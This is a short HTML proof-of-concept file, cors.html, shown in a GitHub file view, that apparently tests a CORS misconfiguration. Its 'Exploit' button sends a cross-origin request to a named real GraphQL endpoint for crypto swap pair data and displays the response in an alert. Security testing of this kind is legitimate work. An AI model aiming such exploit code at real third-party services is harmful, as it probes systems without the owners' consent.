Repository navigation
Expand file tree
/
Copy pathcors.html
More file actions
27 lines (26 loc) · 3.89 KB
/
Copy pathcors.html
File metadata and controls
27 lines (26 loc) · 3.89 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html>
<head>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://graphql.factorychain.io/subgraphs/name/swap/exchange/graphql?operationName=pairs&query=%23%20Welcome%20to%20GraphiQL%0A%23%0A%23%20GraphiQL%20is%20an%20in-browser%20tool%20for%20writing%2C%20validating%2C%20and%0A%23%20testing%20GraphQL%20queries.%0A%23%0A%23%20Type%20queries%20into%20this%20side%20of%20the%20screen%2C%20and%20you%20will%20see%20intelligent%0A%23%20typeaheads%20aware%20of%20the%20current%20GraphQL%20type%20schema%20and%20live%20syntax%20and%0A%23%20validation%20errors%20highlighted%20within%20the%20text.%0A%23%0A%23%20GraphQL%20queries%20typically%20start%20with%20a%20%22%7B%22%20character.%20Lines%20that%20starts%0A%23%20with%20a%20%23%20are%20ignored.%0A%23%0A%23%20An%20example%20GraphQL%20query%20might%20look%20like%3A%0A%23%0A%23%20%20%20%20%20%7B%0A%23%20%20%20%20%20%20%20field(arg%3A%20%22value%22)%20%7B%0A%23%20%20%20%20%20%20%20%20%20subField%0A%23%20%20%20%20%20%20%20%7D%0A%23%20%20%20%20%20%7D%0A%23%0A%23%20Keyboard%20shortcuts%3A%0A%23%0A%23%20%20Prettify%20Query%3A%20%20Shift-Ctrl-P%20(or%20press%20the%20prettify%20button%20above)%0A%23%0A%23%20%20%20%20%20%20%20Run%20Query%3A%20%20Ctrl-Enter%20(or%20press%20the%20play%20button%20above)%0A%23%0A%23%20%20%20Auto%20Complete%3A%20%20Ctrl-Space%20(or%20just%20start%20typing)%0A%23%0A%0Afragment%20PairFields%20on%20Pair%20%7B%0A%20%20%20%20%20%20%20%20%20%20id%0A%20%20%20%20%20%20%20%20%20%20token0%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20id%0A%20%20%20%20%20%20%20%20%20%20%20%20symbol%0A%20%20%20%20%20%20%20%20%20%20%20%20name%0A%20%20%20%20%20%20%20%20%20%20%20%20totalLiquidity%0A%20%20%20%20%20%20%20%20%20%20%20%20derivedBNB%0A%20%20%20%20%20%20%20%20%20%20%20%20__typename%0A%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20token1%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20id%0A%20%20%20%20%20%20%20%20%20%20%20%20symbol%0A%20%20%20%20%20%20%20%20%20%20%20%20name%0A%20%20%20%20%20%20%20%20%20%20%20%20totalLiquidity%0A%20%20%20%20%20%20%20%20%20%20%20%20derivedBNB%0A%20%20%20%20%20%20%20%20%20%20%20%20__typename%0A%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20reserve0%0A%20%20%20%20%20%20%20%20%20%20reserve1%0A%20%20%20%20%20%20%20%20%20%20reserveUSD%0A%20%20%20%20%20%20%20%20%20%20totalSupply%0A%20%20%20%20%20%20%20%20%20%20trackedReserveBNB%0A%20%20%20%20%20%20%20%20%20%20reserveBNB%0A%20%20%20%20%20%20%20%20%20%20volumeUSD%0A%20%20%20%20%20%20%20%20%20%20untrackedVolumeUSD%0A%20%20%20%20%20%20%20%20%20%20token0Price%0A%20%20%20%20%20%20%20%20%20%20token1Price%0A%20%20%20%20%20%20%20%20%20%20__typename%0A%20%20%20%20%20%20%20%20%7D%0A%0A%0A%20%20%20%20%20%20%20%20query%20pairs(%24allPairs%3A%20%5BBytes!%5D)%20%7B%0A%20%20%20%20%20%20%20%20%20%20pairs(first%3A%20500%2C%20where%3A%20%7Bid_in%3A%20%24allPairs%7D%2C%20orderBy%3A%20trackedReserveBNB%2C%20orderDirection%3A%20desc)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20...PairFields%0A%20%20%20%20%20%20%20%20%20%20%20%20__typename%0A%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D&variables=%7B%0A%20%20%22allPairs%22%3A%20%5B%220x0ec3896dbe1d7a56f9395332359d894280b6f25c%22%2C%220xc56293184590c44f6438f2c705baa953785e89f7%22%5D%0A%7D", true);
xhttp.withCredentials = false;
//header access control allow origin not be wildcard
xhttp.setRequestHeader("Access-Control-Allow-Origin", "*");
xhttp.send();
}
</script>
</head>
<body>
<center>
<h3>Show full content of page</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
</body>
</html>